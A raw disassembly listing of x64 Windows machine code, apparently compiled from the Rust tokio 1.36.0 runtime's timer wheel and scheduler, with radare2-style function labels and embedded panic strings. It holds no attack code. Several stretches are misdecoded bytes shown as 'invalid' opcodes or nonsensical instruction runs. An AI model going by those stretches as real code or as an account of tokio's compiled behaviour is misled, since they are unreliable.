je 0x1400e93c8
imul rax, r15, 0x410
mov r12, qword [rdi + rax + 0x408]
test r12, r12
je 0x1400e9211
mov r14, qword [rdi + rax + 0x400]
test r14d, r14d
je 0x1400e92b0
cmp r14d, 1
je 0x1400e91d0
mov ecx, 1
mov eax, 0x40
mov edx, r14d
mov ebp, r14d
nop dword [rax + rax]
test dl, 1
mov rsi, rax
cmove rsi, rbx
imul rcx, rsi
shr ebp, 1
imul rax, rax
cmp edx, 3
mov edx, ebp
ja 0x1400e9270
imul rcx, rax
test rcx, rcx
je 0x1400e93da
mov rax, r10
or rax, rcx
shr rax, 0x20
je 0x1400e92c3
mov rax, r10
xor edx, edx
div rcx
jmp 0x1400e92ca
mov rax, r12
mov ecx, r10d
ror rax, cl
tzcnt r11, rax
add r11, r10
jmp 0x1400e9340
mov eax, r10d
xor edx, edx
div ecx
mov rdx, r12
mov ecx, eax
ror rdx, cl
tzcnt r11, rdx
add r11, rax
test r14d, r14d
je 0x1400e9340
cmp r14d, 1
je 0x1400e91e3
mov edx, 1
mov eax, 0x40
mov ebp, r14d
mov r13d, r14d
nop dword [rax]
test bpl, 1
mov rsi, rax
cmove rsi, rbx
imul rdx, rsi
shr r13d, 1
imul rax, rax
cmp ebp, 3
mov ebp, r13d
ja 0x1400e9300
imul rax, rdx
shl rax, 6
test r14d, r14d
je case.0x14002a2ab.2774
cmp r14d, 1
jne 0x1400e9359
invalid
sub byte [rdx + 0x40], bh
mov edx, 0x40
jmp 0x1400e91ed
mov edx, 1
mov eax, 0x40
jmp 0x1400e91ed
mov edx, 1
jmp 0x1400e91ed
xchg esp, eax
invalid
invalid
invalid
xchg esp, eax
invalid
mov edx, 1
mov r8d, 0x40
mov esi, r14d
mov ebp, r14d
nop word [rax + rax]
test sil, 1
mov r13, r8
cmove r13, rbx
imul rdx, r13
shr ebp, 1
imul r8, r8
cmp esi, 3
mov esi, ebp
ja 0x1400e9370
imul rdx, r8
jmp 0x1400e91ed
mov rcx, qword [rsp + 0x28]
xor eax, eax
jmp 0x1400e93b4
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r11
mov qword [rcx + 0x18], r13
mov eax, 1
mov qword [rcx], rax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheelmod.rs
mov rcx, r9
mov rdx, r9
call fcn.1401085b0
add dword [rax], eax
add dword [rax], eax
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheellevel.rs
call fcn.1401087d0
lea rcx, str.assertion_failed:_self.tail.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutillinked_list.rs
mov edx, 0x25
add byte [rax], al
add byte [rax], al
call fcn.140108630
int3
add ah, cl
int3
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0xf3fceff], dh
cmpxchg byte [rsi], cl
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x210], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x230], 0
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x250], 0
mov qword [rsp + 0x260], 0
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x290], 0
mov qword [rsp + 0x2a0], 0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
jne 0x1400e9e13
mov rax, qword [rsi + 0x20]
cmp rax, rbp
cmova rbp, rax
lea r15, [rsi + 0x20]
lea rax, [rsi + 0x28]
mov qword [rsp + 0x98], rax
mov r13d, 1
mov r12, 0xfffffffffffffffe
xorps xmm6, xmm6
xor ecx, ecx
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsi + 0x30]
test rcx, rcx
mov rdi, qword [rsp + 0x98]
je 0x1400e985d
mov rax, qword [rcx]
mov qword [rsi + 0x30], rax
lea rdx, [rax + 8]
test rax, rax
cmove rdx, rdi
mov qword [rdx], 0
movups xmmword [rcx], xmm6
mov rax, qword [rcx + 0x20]
cmp rax, 0xffffffffffffffff
je 0x1400e97be
mov byte [rcx + 0x40], 0
mov qword [rcx + 0x20], 0xffffffffffffffff
mov rax, qword [rcx + 0x38]
nop dword [rax]
mov rdx, rax
or rdx, 2
lock cmpxchg qword [rcx + 0x38], rdx
jne 0x1400e9810
test rax, rax
jne 0x1400e97be
mov rdi, qword [rcx + 0x28]
mov rbx, qword [rcx + 0x30]
mov qword [rcx + 0x28], 0
lock and qword [rcx + 0x38], 0xfffffffffffffffd
test rdi, rdi
je 0x1400e97be
jmp 0x1400e9c5c
mov rcx, qword [rsi + 0x30]
test rcx, rcx
jne 0x1400e97d3
cmp qword [rdi], 0
je 0x1400e9890
mov r11, qword [r15]
xor ecx, ecx
mov r8, r11
xor r9d, r9d
cmp r8, rbp
movabs rbx, 0xffffffffe
jbe 0x1400e9ab7
jmp 0x1400e9d29
mov rbx, qword [rsi + 0x10]
mov r10, qword [rsi + 0x18]
mov r11, qword [rsi + 0x20]
mov rax, r11
shr rax, 6
mov qword [rsp + 0xa8], rax
xor edi, edi
jmp 0x1400e9901
mov rax, r15
mov rdx, qword [rsp + 0xa8]
mov ecx, edx
ror rax, cl
tzcnt rcx, rax
add rcx, rdx
mov edx, 0x40
mov eax, 0x1000
and ecx, 0x3f
mov r8, rax
neg r8
and r8, r11
imul rdx, rcx
add rdx, r8
cmp rdx, r11
mov r8d, 0
cmovbe r8, rax
add r8, rdx
inc rdi
test r15, r15
jne 0x1400e9a94
cmp rdi, 6
je 0x1400e9d21
cmp rdi, r10
je 0x1400e9e54
imul rax, rdi, 0x410
mov r15, qword [rbx + rax + 0x408]
test r15, r15
je 0x1400e98f5
mov r9, qword [rbx + rax + 0x400]
test r9d, r9d
je 0x1400e9990
cmp r9d, 1
je 0x1400e98b0
mov ecx, 1
mov eax, 0x40
mov edx, r9d
mov r8d, r9d
nop
test dl, 1
mov r14, rax
cmove r14, r13
imul rcx, r14
shr r8d, 1
imul rax, rax
cmp edx, 3
mov edx, r8d
ja 0x1400e9950
imul rcx, rax
test rcx, rcx
je 0x1400e9e66
mov rax, r11
or rax, rcx
shr rax, 0x20
je 0x1400e99a3
mov rax, r11
xor edx, edx
div rcx
jmp 0x1400e99aa
mov rax, r15
mov ecx, r11d
ror rax, cl
tzcnt rcx, rax
add rcx, r11
jmp 0x1400e9a20
mov eax, r11d
xor edx, edx
div ecx
mov rdx, r15
mov ecx, eax
ror rdx, cl
tzcnt rcx, rdx
add rcx, rax
test r9d, r9d
je 0x1400e9a20
cmp r9d, 1
je 0x1400e98c8
mov edx, 1
mov eax, 0x40
mov r8d, r9d
mov ebp, r9d
nop dword [rax]
test r8b, 1
mov r14, rax
cmove r14, r13
imul rdx, r14
shr ebp, 1
imul rax, rax
cmp r8d, 3
mov r8d, ebp
ja 0x1400e99e0
imul rax, rdx
shl rax, 6
test r9d, r9d
je 0x1400e9a2f
cmp r9d, 1
jne 0x1400e9a3e
mov edx, 0x40
jmp 0x1400e9a34
mov edx, 1
mov eax, 0x40
jmp 0x1400e98d2
mov edx, 1
mov rbp, qword [rsp + 0x30]
jmp 0x1400e98d2
mov qword [rsp + 0xa0], r10
mov edx, 1
mov r10d, 0x40
mov r14d, r9d
mov ebp, r9d
nop word [rax + rax]
test r14b, 1
mov r8, r10
cmove r8, r13
imul rdx, r8
shr ebp, 1
imul r10, r10
cmp r14d, 3
mov r14d, ebp
ja 0x1400e9a60
imul rdx, r10
mov rbp, qword [rsp + 0x30]
mov r10, qword [rsp + 0xa0]
jmp 0x1400e98d2
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x98]
cmp r8, rbp
movabs rbx, 0xffffffffe
ja 0x1400e9d29
mov rdx, qword [rsi + 0x18]
cmp r9, rdx
jae 0x1400e9e72
mov rax, qword [rsi + 0x10]
imul rdx, r9, 0x410
mov r9, 0xfffffffffffffffe
rol r9, cl
lea r10, [rax + rdx]
and qword [rax + rdx + 0x408], r9
shl rcx, 4
mov r9, qword [rcx + r10 + 8]
movups xmmword [rcx + r10], xmm6
jmp 0x1400e9b12
mov r10d, 1
mov ecx, eax
shl r10, cl
or qword [rdx + 0x408], r10
test r9, r9
je 0x1400e9c40
mov r10, r9
mov r9, qword [r9]
test r9, r9
je 0x1400e9b2e
mov qword [r9 + 8], 0
movups xmmword [r10], xmm6
mov rax, qword [r10 + 0x20]
nop word cs:[rax + rax]
cmp rax, 0xfffffffffffffffe
jae 0x1400e9e81
cmp rax, r8
ja 0x1400e9ba0
lock cmpxchg qword [r10 + 0x20], r12
jne 0x1400e9b40
mov qword [r10 + 0x10], 0xffffffffffffffff
mov qword [rsp + 0x70], r10
mov rax, qword [rdi]
cmp rax, r10
je 0x1400e9ed0
mov qword [r10 + 8], rax
mov qword [r10], 0
test rax, rax
je 0x1400e9b83
mov qword [rax], r10
mov qword [rsi + 0x28], r10
cmp qword [rsi + 0x30], 0
jne 0x1400e9b12
mov qword [rsi + 0x30], r10
jmp 0x1400e9b12
mov qword [r10 + 0x10], rax
xor rax, r8
or rax, 0x3f
cmp rax, rbx
cmovae rax, rbx
bsr rax, rax
xor al, 1
movzx eax, al
imul ecx, eax, 0x2b
shr ecx, 8
mov rdx, qword [rsi + 0x18]
cmp rdx, rcx
jbe 0x1400e9e48
mov rdx, qword [rsi + 0x10]
imul r11, rcx, 0x410
mov rax, qword [r10 + 0x10]
mov ecx, dword [rdx + r11 + 0x400]
add ecx, ecx
lea ecx, [rcx + rcx*2]
shr rax, cl
add rdx, r11
and eax, 0x3f
mov r11d, eax
shl r11d, 4
lea rcx, [rdx + r11]
mov qword [rsp + 0x70], r10
mov r11, qword [r11 + rdx]
cmp r11, r10
je 0x1400e9eb8
mov qword [r10 + 8], r11
mov qword [r10], 0
test r11, r11
je 0x1400e9c23
mov qword [r11], r10
mov qword [rcx], r10
cmp qword [rcx + 8], 0
jne 0x1400e9b00
mov qword [rcx + 8], r10
jmp 0x1400e9b00
mov qword [rsp + 0x38], r8
cmp qword [r15], r8
ja 0x1400e9f08
jae 0x1400e9850
mov qword [r15], r8
jmp 0x1400e9850
mov rcx, qword [rsp + 0x28]
cmp rcx, 0x1f
ja 0x1400e9ef7
mov rax, rcx
shl rax, 4
lea r14, [rsp + rax]
add r14, 0xb0
mov rax, qword [rsp + rax + 0xb0]
test rax, rax
je 0x1400e9c96
mov rcx, qword [r14 + 8]
call qword [rax + 0x18]
mov rcx, qword [rsp + 0x28]
mov qword [r14], rdi
mov qword [r14 + 8], rbx
inc rcx
cmp rcx, 0x20
jne 0x1400e97b9
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rsi], cl
jne 0x1400e9d17
xor edi, edi
nop word cs:[rax + rax]
mov rax, qword [rsp + rdi + 0xb0]
mov rcx, qword [rsp + rdi + 0xb8]
mov qword [rsp + rdi + 0xb0], 0
test rax, rax
je 0x1400e9f70
add rdi, 0x10
call qword [rax + 8]
cmp rdi, 0x200
jne 0x1400e9cc0
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
mov ecx, 0
je 0x1400e97b9
mov rcx, rsi
call fcn.14010b5f0
xor ecx, ecx
jmp 0x1400e97b9
mov rcx, rsi
call fcn.14010b250
jmp 0x1400e9cb4
mov r15, qword [rsp + 0x90]
mov qword [rsp + 0x38], rbp
cmp r11, rbp
ja 0x1400e9f08
jae 0x1400e9d3c
mov qword [r15], rbp
lea rdx, [rsi + 8]
lea rcx, [rsp + 0x40]
call fcn.1400e9160
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
cmp rcx, 1
adc rcx, 0
test rax, rax
cmove rcx, rax
mov qword [rsi + 0x38], rcx
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi], cl
jne 0x1400e9e20
mov rcx, qword [rsp + 0x28]
cmp rcx, 0x21
jae 0x1400e9e37
test rcx, rcx
je 0x1400e9dc3
shl rcx, 4
lea rsi, [rsp + rcx]
add rsi, 0xb0
lea rdi, [rsp + 0xb0]
mov rax, qword [rdi]
mov rcx, qword [rdi + 8]
mov qword [rdi], 0
test rax, rax
je 0x1400e9eeb
call qword [rax + 8]
add rdi, 0x10
cmp rdi, rsi
jne 0x1400e9da0
mov esi, 8
jmp 0x1400e9ddd
add rsi, 0x10
cmp rsi, 0x208
je 0x1400e9df7
mov rax, qword [rsp + rsi + 0xa8]
test rax, rax
je 0x1400e9dd0
mov rcx, qword [rsp + rsi + 0xb0]
call qword [rax + 0x18]
jmp 0x1400e9dd0
movaps xmm6, xmmword [rsp + 0x2b0]
add rsp, 0x2c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
call fcn.14010b5f0
jmp 0x1400e977f
mov rcx, rsi
call fcn.14010b250
mov rcx, qword [rsp + 0x28]
cmp rcx, 0x21
jb 0x1400e9d84
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timemod.rs
mov edx, 0x20
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheelmod.rs
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheelmod.rs
mov rcx, r10
mov rdx, r10
call fcn.1401085b0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheellevel.rs
call fcn.1401087d0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheelmod.rs
mov rcx, r9
call fcn.1401085b0
lea rax, [0x14014e0b8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x40]
call fcn.140111d10
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x40]
mov rcx, rdi
call fcn.140111d10
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timemod.rs
call fcn.140108970
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timemod.rs
mov edx, 0x20
call fcn.1401085b0
mov qword [rsp + 0x70], r15
lea rax, [0x1400e9f80]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rax, str.elapsed__when
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timewheelmod.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timemod.rs
call fcn.140108970
int3
stc
call qword [rax + 0x10]
jmp 0x1400eabfa
mov qword [rbx + 0x10], 0xffffffffffffffff
mov rsi, qword [rbx + 0x18]
sbb byte [rax - 0x7b], cl
test byte [rdi], 0x84
mov bl, 0
add byte [rax], al
sbb byte [rax - 0x7b], cl
test byte [rdi], 0x84
mov bl, 0
add byte [rax], al
mov rcx, qword [rsi + 0x40]
mov rax, qword [rsi + 0x58]
cmp rax, rcx
invalid
jne 0x1400eab8f
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx], cl
jne 0x1400eac1a
add rsi, 0xb8
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400ea5b0
mov rcx, rbx
call fcn.14010b250
jmp 0x1400eac04
mov qword [rbx + 0x10], 0
mov rax, 0xffffffffffffffc0
lock xadd qword [rdi], rax
cmp rax, 0x3f
jbe 0x1400eac63
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400eac5a
mov rax, qword [rdi + 0x10]
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [rax + 0x10]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108820
int3
call fcn.1400e87a0
mov rdi, qword [rsi + 0x40]
mov rax, qword [rdi]
nop word cs:[rax + rax]
test al, 1
jne 0x1400eadb8
mov rcx, rax
and rcx, 0xfffffffffffffffc
or rcx, 2
lock cmpxchg qword [rdi], rcx
jne case.0x140096fc6.1083
jmp 0x1400eadf6
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 8], cl
or byte [r13 + 0x3f], r14b
or byte [r13 + 0x3f], r14b
mov r8, qword [rdi]
lea rcx, [rdi + 0x10]
mov rdx, rdi
call fcn.1400eae80
mov rbx, rax
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 8], cl
sete al
test rbx, rbx
je 0x1400eadf2
invalid
test al, al
je 0x1400eae0d
mov rcx, rdx
call qword [rbx + 8]
jmp 0x1400eadf6
test al, al
je 0x1400eae21
inc qword [rsi + 0x10]
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rcx, [rdi + 8]
call fcn.14010b5f0
jmp 0x1400eadc3
add rdi, 8
mov rcx, rdi
mov rdi, rdx
call fcn.14010b250
mov rdx, rdi
jmp 0x1400eadea
add rdi, 8
mov rcx, rdi
call fcn.14010b250
jmp 0x1400eadf6
push rsp
sub byte [rsi], al
add byte [rax - 0x73], cl
and al, 0x20
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108820
int3
int3
int3
add byte [rbp + rcx*4 + 5], cl
mov al, 0x43
invalid
int3
sub byte [rax - 0x77], cl
invalid
add byte [rax + 0x28c48348], dl
pop rdi
pop rsi
ret
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x972fa
shl rax, 1
test rax, rax
jne 0x1400eb0b8
xor eax, eax
movzx edx, byte [rcx + 1]
test dl, dl
jne 0x1400eb0d1
mov edx, dword [rcx + 4]
mov esi, dword [rcx + 8]
mov ebx, edx
shl ebx, 0x11
xor ebx, edx
mov edx, esi
shr edx, 0x10
xor edx, esi
xor edx, ebx
shr ebx, 7
xor ebx, edx
mov edx, esi
shl edx, 0x11
xor edx, esi
mov edi, edx
shr edi, 7
mov r8d, ebx
shr r8d, 0x10
xor edi, edx
xor edi, ebx
xor edi, r8d
mov dword [rcx + 4], ebx
mov dword [rcx + 8], edi
test al, al
jne 0x1400eb07a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400eb103
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400eb088
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add edi, ebx
add esi, ebx
mov eax, esi
mov edx, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rsi, rcx
call fcn.1401105f0
mov rcx, rsi
xor al, 1
movzx edx, byte [rcx + 1]
test dl, dl
je 0x1400eb028
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x30], al
lea rax, [0x14014f878]
mov qword [rsp + 0x20], rax
lea rcx, str.RNG_seed_generator_is_internally_corruptC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutil_rand_rt.rs
lea r9, [0x14014c5c0]
lea r8, [rsp + 0x28]
mov edx, 0x28
call fcn.1401088e0
mov r14, rcx
call fcn.1401105f0
mov rcx, r14
test al, al
jne 0x1400eb07a
mov byte [rcx + 1], 1
jmp 0x1400eb07a
mov ecx, 2
xor eax, eax
lock cmpxchg qword [r14 + 0x18], rcx
jne 0x1400eb5c5
lea rcx, [rdi + 0x18]
cmp qword [rdi + 0x10], 0
je 0x1400eb5d7
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 1
jne 0x1400eb5e4
mov rcx, qword [rdi + 0x20]
add rcx, 0x10
invalid
and cl, bl
invalid
movabs rax, 0x8000000000000000
cmp qword [rcx], rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 1
jne 0x1400eb5e4
mov rcx, qword [rdi + 0x20]
add rcx, 0x10
call fcn.1400e7ff0
jmp 0x1400eb5f9
cmp rax, 3
jne 0x1400eb7b5
xor eax, eax
xchg qword [r14 + 0x18], rax
jmp 0x1400eb610
mov r9d, 0x3b9aca00
call fcn.1400e88f0
jmp 0x1400eb5f9
cmp qword [rdx], 0
je 0x1400eb8cc
xor eax, eax
xchg qword [r14 + 0x18], rax
mov rcx, rax
and rcx, 0xfffffffffffffffe
cmp rcx, 2
jne 0x1400eb86f
xor eax, eax
xchg byte [rdi + 0x50], al
cmp qword [rsi + 0x18], 0
jne 0x1400eb652
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x28], rax
lea rax, [0x14014cec0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x28], rax
lea rax, [0x14014cec0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x28], rax
lea rax, str.inconsistent_park_timeout_state:
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimeiodriver.rsx
mov edx, 0x68
call fcn.140108990
int3
call fcn.1400e42e0
mov rax, qword [rsi + 8]
mov qword [rsi + 0x10], rdi
inc rax
mov qword [rsi + 8], rax
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax]
adc byte [rcx - 1], cl
invalid
cmp qword [rsi + 8], 0
jne 0x1400ebbe6
adc byte [rcx - 1], cl
invalid
mov rdi, qword [rsi + 0x10]
movups xmmword [rsi + 8], xmm6
test rdi, rdi
je 0x1400ebb17
invalid
add byte [rax], al
invalid
mov ebx, 0x4c000000
mov esi, dword [rdi]
add byte [rbx + rcx*4 + 0x37], cl
mov r14, qword [rdi]
mov qword [rdi], 0
test r14, r14
je 0x1400ebb24
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ebabc
test eax, eax
jne 0x1400ebae1
mov eax, dword [0x140182314]
add eax, 0x9687c
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
mov rdx, rbx
call fcn.1400d4720
mov byte [r13 + 0x120], 1
mov byte [rbp + 0x120], 1
mov byte [rbp + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
je 0x1400ebae1
cmp byte [rax + 0x11d], 0
je 0x1400ebb3f
pop rsi
cmp r12, 3
jb 0x1400ebaeb
mov byte [rdi + 0x48], 0
cmp qword [rsi + 8], 0
jne 0x1400ebbf2
mov qword [rsi + 8], 0xffffffffffffffff
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
test rcx, rcx
jne 0x1400eba20
mov rax, 0xffffffffffffffff
jmp 0x1400eba29
xor edi, edi
cmp bpl, 2
jne 0x1400ebb5c
jmp 0x1400ebbcd
mov rax, qword [rsi]
mov rax, qword [rax + 0x10]
movzx eax, byte [rax + 0x50]
mov dh, 0x40
push rax
mov dh, 0x40
push rax
xor al, 1
mov byte [rdi + 0x48], al
cmp bpl, 2
jne 0x1400ebb5c
jmp 0x1400ebbcd
lea rcx, [rdi + 0x18]
mov rax, qword [rsi]
mov r8, qword [rax + 0x10]
adc byte [rcx - 0x7d], cl
add eax, 0x10
add eax, 0x10
mov rdx, r14
call fcn.1400ebf60
cmp bpl, 2
je 0x1400ebbcd
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ebbac
test eax, eax
jne 0x1400ebbcd
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], bpl
mov byte [rax + 0x11d], r15b
mov rax, rdi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108820
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108820
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
